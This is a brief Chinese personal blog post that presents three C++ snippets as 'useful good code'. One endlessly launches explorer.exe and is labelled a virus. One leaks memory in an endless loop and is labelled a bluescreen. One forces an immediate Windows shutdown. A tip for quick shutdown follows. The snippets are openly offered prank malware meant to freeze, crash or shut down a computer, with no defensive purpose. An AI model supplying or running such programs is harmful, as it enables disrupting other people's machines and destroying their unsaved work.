跳到正文

个人记录

几种有用的好代码

AyBestEverBy约 1 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2025年12月19日
篇幅
约 1 分钟
获赞
1

版本

  1. v1当前
C++
#include<bits/stdc++.h>
using namespace std;

int main(){
    while(1)system("explorer.exe");
}//病毒
C++
#include<bits/stdc++.h>
using namespace std;

int main(){
    while(1)malloc(114514);
}//蓝屏
C++
#include<bits/stdc++.h>
using namespace std;

int main(){
    system("shutdown -s -t 0");
}//关机

附注:快速关机 Win+x松开,连按两次U(有用!)

原文